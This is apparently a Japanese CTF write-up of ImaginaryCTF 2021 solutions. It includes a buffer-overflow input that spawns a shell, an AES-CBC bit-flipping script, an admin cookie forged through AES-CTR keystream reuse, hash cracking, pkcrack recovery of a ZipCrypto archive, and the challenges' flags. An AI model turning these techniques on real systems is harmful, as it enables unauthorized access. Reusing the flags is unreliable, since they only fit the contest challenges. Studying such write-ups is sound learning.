この大会は2021/7/24 1:00(JST)~2021/7/28 1:00(JST)に開催されました。
今回もチームで参戦。結果は4855点で1018チーム中27位でした。
自分で解けた問題をWriteupとして書いておきます。
Sanity Check (Misc 15)
問題にフラグが書いてあった。
ictf{w3lc0m3_t0_1m@g1nary_c7f_2021!}
Discord (Misc 15)
Discordに入り、#imaginaryctf-2021チャネルのメッセージを見ると、フラグが書いてあった。
ictf{d41ly_ch4lls_0n_d1sc0rd_AND_4_ctf?_epic}
Chicken Caesar Salad (Crypto 50)
シーザー暗号。https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。
Rotation 8: ictf{wHen_dID_cAEseR_cIphERs_gEt_sO_hARd}
ictf{wHen_dID_cAEseR_cIphERs_gEt_sO_hARd}
Hidden (Forensics 50)
psdが添付されている。https://www.photopea.com/で開き、レイヤーのShape 1をはずすと、フラグが見えた。
ictf{wut_how_do_you_see_this}
stackoverflow (Pwn 50)
Ghidraでデコンパイルする。
undefined8 main(void) { undefined local_38 [40]; long local_10; local_10 = 0x42424242; setvbuf(stdout,(char *)0x0,2,0); setvbuf(stdin,(char *)0x0,2,0); puts( "Welcome to StackOverflow! Before you start ~~copypasting code~~ asking good questions, we would like you to answer a question. What\'s your favorite color?" ); __isoc99_scanf(&DAT_001009a3,local_38); puts("Thanks! Now onto the posts!"); if (local_10 == 0x69637466) { puts("DEBUG MODE ACTIVATED."); system("/bin/sh"); } else { puts("ERROR: FEATURE NOT IMPLEMENTED YET"); } return 0; }
>>> '69637466'.decode('hex')[::-1] 'ftci'
任意の40バイトのあとに"fcti"を入力すればよい。
$ nc chal.imaginaryctf.org 42001 Welcome to StackOverflow! Before you start ~~copypasting code~~ asking good questions, we would like you to answer a question. What's your favorite color? aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaftci Thanks! Now onto the posts! DEBUG MODE ACTIVATED. ls flag.txt run cat flag.txt ictf{4nd_th4t_1s_why_y0u_ch3ck_1nput_l3ngth5_486b39aa}
ictf{4nd_th4t_1s_why_y0u_ch3ck_1nput_l3ngth5_486b39aa}
Flip Flops (Crypto 100)
サーバの処理概要は以下の通り。
・key, iv:ランダム16バイト文字列 ・flag: フラグ ・以下3回繰り返し(メニュー選択) ・1. Encrypt ・平文入力("gimmeflag"を含めるとNG) ・入力文字列をAES-CBC暗号 ・2. Check ・暗号入力 ・AES-CBC復号 →"gimmeflag"が含まれている場合フラグを表示
AES暗号のCBCモードは以下のようになっている。
平文1ブロック目(p0) ^ IV --(AES-CBC暗号)--> 暗号1ブロック目(c0) 平文2ブロック目(p1) ^ 暗号1ブロック目(c0) --(AES-CBC暗号)--> 暗号2ブロック目(c1)
c0を調整して、平文2ブロック目に"gimmeflag"を含めればよい。
import socket from Crypto.Util.strxor import strxor def recvuntil(s, tail): data = '' while True: if tail in data: return data data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('chal.imaginaryctf.org', 42011)) data = recvuntil(s, 'enough)\n').rstrip() print data pt = ('a' * 25).encode('hex') data = recvuntil(s, '> ') print data + '1' s.sendall('1\n') data = recvuntil(s, ': ') print data + pt s.sendall(pt + '\n') data = recvuntil(s, '\n').rstrip() print data ct = data.decode('hex') ct0 = ct[:16] pt_part = 'gimmeflag' + 'a' * 7 new_ct0 = strxor(strxor(ct0, 'a' * 16), pt_part) ct = (new_ct0 + ct[16:]).encode('hex') data = recvuntil(s, '> ') print data + '2' s.sendall('2\n') data = recvuntil(s, ': ') print data + ct s.sendall(ct + '\n') data = recvuntil(s, '\n').rstrip() print data
実行結果は以下の通り。
,,~~~~~~,,.. ...., ,'~ | \ V / \ / / ;####> @@@@@ ) ##;, @@@@@@@ ) .##/ ~> @@@@@ . . ###''#> ' ' .:::::::. ..###/ #> ' ' //////))))----~~ ## #} ' ' ///////)))))) ' ' ///////)))))))\ ' ' //////))))))))))) ' |////)))))))))))))____________________________________). ||||||||||||||||||||||||||||||||||||||||||||||||||||||||| (yeah they're not flip flops but close enough) Send me a string that when decrypted contains 'gimmeflag'. 1. Encrypt 2. Check > 1 Enter your plaintext (in hex): 61616161616161616161616161616161616161616161616161 a9a5b4d873223001b05c7442ee38564980983a2ddfc2724a3b287454bcac16b7 Send me a string that when decrypted contains 'gimmeflag'. 1. Encrypt 2. Check > 2 Enter ciphertext (in hex): afadb8d477253d01b65c7442ee38564980983a2ddfc2724a3b287454bcac16b7 ictf{fl1p_fl0p_b1ts_fl1pped_b6731f96}
ictf{fl1p_fl0p_b1ts_fl1pped_b6731f96}
Imaginary (Misc 100)
複素数の足し算、引き算の複合問題が出題されるので、答えていく。たまに答える必要がない場合があるので、それを考慮してスクリプトにする。
import socket import cmath def recvuntil(s, tail): data = '' while True: if tail in data: return data data += s.recv(1) def calc(formula): e = formula.replace('i', 'j').split(')')[:-1] ans = 0 for i in range(len(e)): ans += eval(e[i] + ')') ans = str(ans).replace('j', 'i') return ans[1:-1] s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('chal.imaginaryctf.org', 42015)) for i in range(300): data = recvuntil(s, '> ') formula = data.split('\n')[-2] if formula.startswith('__import__'): ans = '' else: ans = calc(formula) print data + ans s.sendall(ans + '\n') data = recvuntil(s, '\n').rstrip() print data data = recvuntil(s, '\n').rstrip() print data data = recvuntil(s, '\n').rstrip() print data
実行結果は以下の通り。
Welcome to the Imaginary challenge! I'm gonna give you 300 imaginary/complex number problems, and your job is to solve them all. Good luck! Sample input: (55+42i) + (12+5i) - (124+15i) Sample output: -57+32i Sample input: (23+32i) + (3+500i) - (11+44i) Sample output: 15+488i (NOTE: DO NOT USE eval() ON THE CHALLENGE OUTPUT. TREAT THIS IS UNTRUSTED INPUT. Every once in a while the challenge will attempt to forkbomb your system if you are using eval(), so watch out!) (37+48i) - (13+34i) > 24+14i Correct! (30+50i) - (27+10i) + (7+22i) > 10+62i Correct! : : (34+0i) + (38+17i) + (1+7i) - (20+24i) + (39+19i) - (19+17i) - (24+2i) - (8+46i) + (21+19i) + (25+22i) - (35+8i) + (40+20i) - (10+36i) + (7+44i) + (1+0i) + (49+11i) - (38+12i) - (18+50i) + (43+27i) - (49+37i) + (36+16i) - (47+24i) + (4+24i) - (33+13i) - (18+38i) - (2+38i) + (32+41i) - (39+23i) - (5+31i) + (28+7i) + (11+35i) - (15+19i) - (12+32i) - (4+21i) - (36+26i) - (14+18i) - (12+22i) + (43+36i) - (2+24i) + (18+36i) + (25+48i) - (36+49i) + (11+50i) - (26+16i) + (21+13i) + (15+15i) + (36+11i) - (18+22i) + (25+1i) + (37+44i) - (8+1i) - (49+15i) - (41+43i) + (14+30i) + (7+25i) - (8+31i) + (29+43i) - (49+49i) - (7+17i) - (39+4i) - (22+28i) + (40+20i) - (10+19i) + (50+46i) + (32+1i) + (39+7i) - (35+4i) - (50+39i) - (28+12i) + (34+47i) - (19+28i) - (41+3i) + (43+7i) - (34+49i) - (27+43i) - (46+7i) - (38+27i) + (10+40i) - (38+6i) - (18+46i) + (23+36i) - (8+43i) + (48+39i) - (33+17i) - (49+34i) + (50+26i) - (1+1i) - (35+20i) + (6+27i) + (19+8i) + (42+27i) - (18+42i) - (7+35i) + (44+24i) - (8+40i) - (40+19i) - (39+29i) + (33+19i) + (43+8i) + (30+13i) - (46+41i) - (45+47i) + (17+50i) - (28+36i) - (50+30i) + (9+45i) + (10+12i) - (31+43i) - (47+46i) + (5+38i) + (11+21i) + (28+48i) + (4+14i) + (26+42i) > -246-316i Correct! (41+5i) - (26+30i) + (1+17i) - (38+38i) - (30+44i) - (7+2i) + (18+45i) + (33+6i) - (23+39i) + (2+0i) - (6+40i) - (36+43i) - (17+34i) - (29+41i) + (0+25i) + (26+3i) - (38+7i) + (22+21i) + (38+20i) - (0+15i) + (34+42i) + (48+34i) + (10+14i) - (17+24i) + (41+22i) - (33+32i) + (47+21i) + (30+17i) + (41+12i) - (29+45i) + (41+10i) - (44+11i) - (2+33i) + (29+40i) - (8+38i) + (0+30i) + (3+7i) - (1+9i) + (18+5i) + (43+13i) + (13+50i) + (15+28i) + (46+46i) + (8+32i) + (33+32i) - (6+48i) - (36+5i) + (33+14i) + (27+11i) + (18+25i) + (45+15i) + (22+34i) - (5+1i) + (49+19i) - (20+38i) - (29+22i) + (37+26i) + (40+28i) + (22+37i) - (1+19i) + (22+2i) - (22+40i) + (46+22i) - (43+9i) + (17+6i) + (46+45i) - (26+0i) - (47+49i) + (38+35i) - (48+37i) + (19+34i) + (25+31i) - (47+4i) - (11+3i) + (48+43i) + (20+11i) - (48+14i) + (45+45i) + (48+10i) - (26+19i) + (7+25i) + (8+29i) - (6+15i) - (43+44i) - (40+0i) - (42+0i) + (6+12i) - (32+46i) + (41+22i) + (9+7i) + (4+48i) - (12+0i) - (38+9i) - (3+35i) - (34+38i) - (34+21i) - (48+23i) + (42+36i) - (23+5i) + (11+21i) + (23+35i) - (45+34i) - (50+29i) - (16+8i) + (34+49i) - (25+40i) + (22+16i) + (33+36i) - (17+25i) + (4+46i) - (37+42i) + (13+22i) - (6+34i) + (4+5i) + (18+46i) - (4+31i) - (12+47i) + (28+42i) - (39+26i) - (36+33i) + (39+39i) - (46+16i) + (45+11i) - (30+47i) + (21+21i) + (43+22i) - (9+0i) - (46+21i) - (8+40i) + (10+47i) - (12+26i) - (39+22i) + (15+12i) - (10+45i) + (24+22i) - (26+4i) + (50+17i) + (28+13i) - (30+33i) + (41+31i) + (26+6i) - (30+25i) + (6+28i) + (10+39i) + (24+18i) + (12+9i) + (37+21i) + (43+43i) - (23+24i) - (20+37i) - (48+30i) + (12+28i) + (1+9i) - (26+46i) + (37+24i) + (32+4i) + (23+44i) - (13+17i) + (8+30i) - (22+48i) + (42+50i) + (26+29i) - (8+19i) - (20+5i) + (27+22i) - (34+8i) - (45+1i) + (25+18i) - (20+1i) - (48+2i) + (46+20i) + (48+15i) - (37+16i) - (11+24i) - (39+8i) - (29+46i) - (26+21i) - (45+17i) + (8+23i) + (2+7i) - (40+38i) - (32+22i) - (50+21i) - (44+11i) + (48+9i) - (39+35i) - (10+41i) - (12+16i) - (38+47i) - (30+16i) + (32+38i) - (36+34i) - (48+39i) - (22+46i) + (26+1i) + (36+42i) - (32+1i) - (31+19i) + (27+23i) - (22+28i) - (0+24i) - (5+31i) + (47+5i) + (7+41i) + (45+46i) + (9+32i) + (22+3i) + (39+24i) - (22+37i) - (21+24i) + (32+43i) - (32+8i) + (15+42i) + (33+1i) - (32+5i) + (2+47i) - (12+11i) - (15+50i) + (2+20i) + (31+45i) - (11+24i) - (18+47i) + (44+38i) - (13+26i) - (0+31i) - (28+14i) + (27+20i) + (37+16i) + (5+40i) + (48+8i) - (2+48i) + (6+9i) - (3+7i) - (27+32i) + (30+7i) + (42+40i) + (7+24i) + (0+34i) + (16+28i) + (40+50i) + (1+38i) - (5+21i) + (14+47i) - (50+40i) + (2+37i) + (38+37i) - (18+23i) - (21+30i) - (7+26i) + (32+20i) - (41+4i) - (8+23i) + (47+37i) - (49+45i) + (43+33i) - (30+27i) - (31+21i) - (42+3i) + (32+43i) + (32+13i) + (47+19i) + (34+39i) + (25+29i) - (31+37i) + (47+7i) - (26+10i) - (49+38i) + (32+18i) - (13+37i) + (25+17i) + (21+2i) - (37+19i) > 267+217i Correct! You did it! Here's your flag! ictf{n1c3_y0u_c4n_4dd_4nd_subtr4ct!_49fd21bc}
ictf{n1c3_y0u_c4n_4dd_4nd_subtr4ct!_49fd21bc}
Rock Solid Algorithm (Crypto 100)
eが小さいので、Low Public-Exponent Attackで復号する。
import gmpy from Crypto.Util.number import * n = 18718668654839418101060350414897678724581774081742102287908765212690862231899547405582997157020093499506177632395430572542600019258424947803591395926472246347413986531437177801754324606200243710836609694453888894668656807471052095014376204102474311740080044776201105722801365112971807912406879483156845216746137339614577267869908065296042390812575960639865867729920434603853708907147465162697098688239587320232595412227310236678367 e = 5 c = 4061448515799106340420739691775850071489215699577921072934942485890519294380069123037340174441242842518682390853378784679825023237216051766738593812159344136064529711265570171627670665806072255545198689928996413238102114126558579154343844959868438278433954975590137693439216155482228025380904377837299357044104373966173149290333194304831238889245126840666444234215617022142380016275718234640045049962318290976661640301222078289152 c2 = c while True: m = gmpy.root(c2, e)[0] if pow(m, e, n) == c: break c2 += n flag = long_to_bytes(m) print flag
ictf{3_isnt_th3_0nly_sm4ll_3xp0n3nt}
Spelling Test (Misc 100)
autocorrectライブラリを使って、スペルチェックをし、誤りの文字を抽出する。
#!/usr/bin/python3 from autocorrect import Speller def diff_char(word, correct): for i in range(len(word)): if word[i] != correct[i]: return word[i], correct[i] return '', '' with open('words.txt', 'r') as f: words = [line.rstrip() for line in f.readlines()] spell = Speller(lang='en') flag = '' for word in words: correct = spell(word) if correct != word: print('[+] %s -> %s' % (word, correct)) flag += diff_char(word, correct)[0] flag = flag.replace('ictf', 'ictf{') + '}' print('[*] flag:', flag)
実行結果は以下の通り。
[+] convirgence -> convergence [+] translatcr -> translator [+] addretsing -> addressing [+] approachfs -> approaches [+] subscrybers -> subscribers [+] endangored -> endangered [+] modufications -> modifications [+] rehapilitation -> rehabilitation [+] camputers -> computers [+] classisal -> classical [+] munisipality -> municipality [+] engineereng -> engineering [+] requiremend -> requirement [+] generatint -> generating [+] recruitmeht -> recruitment [+] yorkshere -> yorkshire [+] applicasions -> applications [+] instalping -> installing [+] broadcesting -> broadcasting [+] attractlve -> attractive [+] obituarles -> obituaries [+] bibliogriphy -> bibliography [+] avainable -> available [+] instructiongl -> instructional [+] strengthenint -> strengthening [+] discherge -> discharge [+] subscriptisn -> subscription [+] copyrightet -> copyrighted [*] flag: ictf{youpassedthespellingtest}
ictf{youpassedthespellingtest}
Vacation (Forensics 100)
右の方にある店に書いてある文字「ROCK SHOP HEMP COMPANY」から調べる。店に書いてある文字の一部からTahoe Hemp Companyがヒットし、特定できる。場所は以下のあたりか。
https://www.google.com/maps/@38.9471735,-119.9612012,3a,75y,116.8h,86.86t/data=!3m6!1e1!3m4!1sFM16GZNsoYBXA_5uJEmWjg!2e0!7i16384!8i8192
ictf{38.947_-119.961}
Cookie Stream (Web 150)
コードを見ると、クッキーのauthにnonce+
まずコードに書かれている各ユーザのパスワードのsha512をCrackStationでクラックしてみる。
ImaginaryCTFUser 87197acc4657e9adcc2e4e24c77268fa5b95dea2867eacd493a0478a0c493420bfb2280c7e4e579a604e0a243f74a36a8931edf71b088add09537e54b11ce326 →idk Eth007 444c67bb7d9d56580e0a2fd1ad00c535e465fc3ca9558e8333512fe65ff971a3dfb6b08f48ea4f91f8e8b55887ec3f0d7634a8df98e636a4134628c95a8f0ebf →supersecure just_a_normal_user b109f3bbbc244eb82441917ed06d618b9008dd09b3befd1b5e07394c706a8bb980b1d7785e5976ec049b46df5f1326af5a2ea6d103fd07c95385ffab0cacbc86 →password firepwny 6adee5baa5ad468ac371d40771cf2e83e3033f91076f158d2c8d5d7be299adfce15247067740edd428ef596006d6eaa843b36cc109618e0a1cae843b6eed5c29 →pwned
やはりadminはクラックできなかった。
Eth007 / supersecureでログインすると、クッキーのauthに以下が設定されている。
db32c21e8367c1057f014ef2ce3dc58866792a6d5f62d6a1
AES-CTRでpad("Eth007")が暗号化されているので、以下で設定すれば、adminの情報になるはず。
nonce: db32c21e8367c105(変更なし) ciphertext: hex((pad("Eth007") ^ unhex("7f014ef2ce3dc58866792a6d5f62d6a1")) ^ pad("admin"))
from Crypto.Util.Padding import pad from Crypto.Util.strxor import strxor eth007_auth = 'db32c21e8367c1057f014ef2ce3dc58866792a6d5f62d6a1' nonce = eth007_auth[:16] eth007_ct = eth007_auth[16:].decode('hex') admin_ct = strxor(strxor(pad('Eth007', 16), eth007_ct), pad('admin', 16)) admin_auth = nonce + admin_ct.encode('hex') print admin_auth
adminのauthはこのようになる。
db32c21e8367c1055b114bab9001c48967782b6c5e63d7a0
クッキーのauthにこの値を設定してリロードしてみると、フラグが表示された。
ictf{d0nt_r3us3_k3ystr34ms_b72bfd21}
Lines (Crypto 150)
式を変換していく。
encrypt(flag) = (s * flag) % p = C1 encrypt(msg) = (s * msg) % p = C2 ↓ s = C1 * inverse(flag) = C2 * inverse(msg) ↓ flag = (C1 * msg * inverse(C2)) % p
以上より、フラグを求める。
from Crypto.Util.number import * msg = bytes_to_long(':roocursion:') p = 82820875767540480278499859101602250644399117699549694231796720388646919033627 C1 = 26128737736971786465707543446495988011066430691718096828312365072463804029545 C2 = 15673067813634207159976639166112349879086089811595176161282638541391245739514 flag = (C1 * msg * inverse(C2, p)) % p flag = long_to_bytes(flag) print flag
ictf{m0d_4r1th_ftw_1c963241}
Password Protected (Forensics 150)
zipと4つの関数とそのアドレスらしきものが書かれたテキストleak.txtが添付されている。zipはパスワードがかかっていて、libc.so.6が含まれている。
https://libc.blukat.me/でleak.txtの条件を満たすものをダウンロードする。libc6_2.31-0ubuntu9.2_amd64.soが条件を満たしzipに含まれているファイルと同じものと思われる。これを使ってpkcrackでクラックしてみる。
$ zip libc.so.6.zip libc6_2.31-0ubuntu9.2_amd64.so adding: libc6_2.31-0ubuntu9.2_amd64.so (deflated 57%) $ ./pkcrack-1.2.2/src/pkcrack -C encrypted.zip -c libc.so.6 -P libc.so.6.zip -p libc6_2.31-0ubuntu9.2_amd64.so -d decrypted.zip Files read. Starting stage 1 on Sat Jul 24 16:18:26 2021 Generating 1st generation of possible key2_863244 values...done. Found 4194304 possible key2-values. Now we're trying to reduce these... Lowest number: 986 values at offset 857306 Lowest number: 978 values at offset 857301 Lowest number: 960 values at offset 857290 Lowest number: 859 values at offset 857286 Lowest number: 848 values at offset 856655 Lowest number: 839 values at offset 856633 Lowest number: 833 values at offset 856632 Lowest number: 796 values at offset 856629 Lowest number: 760 values at offset 856616 Lowest number: 757 values at offset 856606 Lowest number: 728 values at offset 856605 Lowest number: 696 values at offset 856603 Lowest number: 691 values at offset 856600 Lowest number: 673 values at offset 856599 Lowest number: 660 values at offset 856596 Lowest number: 648 values at offset 856569 Lowest number: 618 values at offset 856568 Lowest number: 589 values at offset 856567 Lowest number: 574 values at offset 856541 Lowest number: 573 values at offset 856537 Lowest number: 547 values at offset 856535 Lowest number: 507 values at offset 856510 Lowest number: 494 values at offset 856506 Lowest number: 449 values at offset 856505 Lowest number: 448 values at offset 856503 Lowest number: 447 values at offset 856502 Lowest number: 432 values at offset 856501 Lowest number: 431 values at offset 856471 Lowest number: 403 values at offset 856467 Lowest number: 393 values at offset 856466 Lowest number: 392 values at offset 856422 Lowest number: 374 values at offset 856361 Lowest number: 356 values at offset 856355 Lowest number: 328 values at offset 855857 Lowest number: 308 values at offset 855843 Lowest number: 304 values at offset 855842 Lowest number: 302 values at offset 855819 Lowest number: 300 values at offset 855811 Lowest number: 274 values at offset 855802 Lowest number: 246 values at offset 855800 Lowest number: 223 values at offset 855799 Lowest number: 218 values at offset 855798 Lowest number: 216 values at offset 855797 Lowest number: 215 values at offset 809963 Lowest number: 211 values at offset 809954 Lowest number: 209 values at offset 809941 Lowest number: 198 values at offset 809940 Lowest number: 184 values at offset 809938 Lowest number: 160 values at offset 809936 Lowest number: 154 values at offset 809935 Lowest number: 152 values at offset 709043 Lowest number: 146 values at offset 599652 Lowest number: 135 values at offset 599364 Lowest number: 128 values at offset 599363 Lowest number: 127 values at offset 599220 Lowest number: 126 values at offset 599219 Lowest number: 125 values at offset 599218 Lowest number: 122 values at offset 599216 Lowest number: 111 values at offset 599214 Lowest number: 107 values at offset 599213 Lowest number: 85 values at offset 599212 Done. Left with 85 possible Values. bestOffset is 599212. Stage 1 completed. Starting stage 2 on Sat Jul 24 16:19:25 2021 Ta-daaaaa! key0=169ab86d, key1=8faccdaf, key2=4f259cb4 Probabilistic test succeeded for 264037 bytes. Ta-daaaaa! key0=169ab86d, key1=8faccdaf, key2=4f259cb4 Probabilistic test succeeded for 264037 bytes. Stage 2 completed. Starting zipdecrypt on Sat Jul 24 16:19:27 2021 Decrypting libc.so.6 (5a8eee0ac43616dbf0913659)... OK! Decrypting flag.txt (efb5215f60881a74a4b03659)... OK! Decrypting runme (d2d6732c6420b779f1c0fd60)... OK! Finished on Sat Jul 24 16:19:27 2021 $ unzip decrypted.zip Archive: decrypted.zip inflating: libc.so.6 extracting: flag.txt inflating: runme $ cat flag.txt ictf{dont_use_zipcrypto_5e2b32f3}
ictf{dont_use_zipcrypto_5e2b32f3}
New Technology (Crypto 300)
暗号化処理の概要は以下の通り。
・priv, pub = gen() ・private = [] ・以下を5回実行 ・p: 512ビットランダム整数 ・e: 1~3ランダム整数 ・privateに(p, e)を追加 ・normalize(private) ・p**eの積 ・private, normalize(private)を返却 ・key = deriv(priv) ・keyのsha256を鍵として、フラグをAES-CBC暗号化する。
keyを割り出す必要があるが、処理を紐解くのが難しい。pubを素因数分解できれば良いのだが、それも難しい。keyがpubだけで計算できることを推測して、いろいろ試す。試した結果、key=pub**2であることが分かった。あとはこのことを前提に復号する。
#!/usr/bin/python3 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad import hashlib pub = 0x281ab467e16cdedb97a298249bdd334f0cc7d54177ed0946c04ec26da111c1fd7afa78fca045f81d89fe541f1d869b8edd4209c898a529737b9380ce9b47133ed9e097bcf050178c4a1ff92f35410ee589cc62617b63632f6c7aa506bdc50a79624246a63e4139a04a51f666cc53e21b7d4b12da7757feb367d47110af9bc707d92c9be2f2e4a51ea219cd9aacc76950f992ced96bab65ba654ded42af5fc4fec5330ebc29f377e733f1829b72f91e270c43e407d649d5cc1d38be9a0020cfe5cc537c131887b5a07a214eae2f0d9e684897590a637bd800fed6a61f6c034fe3a69d516d10a1e63aee3f71e067497d0d7ac1ec771cfae3ce89d82d69cd280622730e58b0427d193a5404f21f962e711d31c9a224e187031cf0e4bcdb341b65e999157fb55c7aae0cffed74b832a79259c18bf7b2db57e500d36376767973ee350af4fc004a7f4dcd325724a6994ca63687d3cfb688deb20e4175a67969ed7d245c207257eab7a71cc298532e72e73e446102e59a1a36de09c386445df171797e0d2db39f4fc1fba793d78ea92c6801b79eaef2ebaad54bd2a8106471adc60be708b9b0f4e824c25c414755ff56dace29c067e29c11a8adcc5f367e1c7d10310116eab8d99ddb2ae524f56bf9436f59e581c6e22b4a80d2520893c57aaafa0e6349347991f26b25b594bd47c5c0a69ed32c3fd0961f54586f3d91bf14d96d93d3f97c7a504ba8e3fe9e08316fe9f3d78500337a180120b5b375980ef19f57ff678a07b582ea3a113e2a0b14683ff3983153a2203cffd39fc7673281f72db700d ciphertext = 'd2463ccc52075674effbad1b1ea5ae9a9c8106f141cff8fdec9b118ddddcfb3a1f036ed5f3bf0440c95828ebf1c584e4' key = pub**2 cipher = AES.new(hashlib.sha256(str(key).encode('utf-8')).digest(), AES.MODE_CBC, iv=b'\0' * 16) FLAG = unpad(cipher.decrypt(bytes.fromhex(ciphertext)), 16).decode() print(FLAG)
ictf{Would_number_theory_be_new_technology?}
Roll it back (Crypto 300)
flagをlittleエンディアンで数値にして、シフト演算でシフトしている。シフトだけでなく、最上位ビットを決定する計算があるため、少し複雑になっているが、逆算が可能。
#!/usr/bin/python3 from itertools import * from gmpy2 import * def x(a,b): return bytes(islice((x^y for x,y in zip(cycle(a), cycle(b))), max(*map(len, [a, b])))) def t(x): return sum((((x & 28) >> 4) & 1) << i for i, x in enumerate(x)) l = 420 flag = 2535320453775772016257932121117911974157173123778528757795027065121941155726429313911545470529920091870489045401698656195217643 T = t(x(b"jctf{not_the_flag}", b"*-*")) | 1 for _ in range(421337): upper_bit = (flag >> (l - 1)) count = popcount((flag << 1) & T) & 1 flag = (flag << 1) & (2**l - 1) if upper_bit != count: flag += 1 flag = flag.to_bytes((l + 7) // 8, byteorder='little') print(flag.decode())
ictf{I_did_not_have_linear_relations_with_that_LFSR}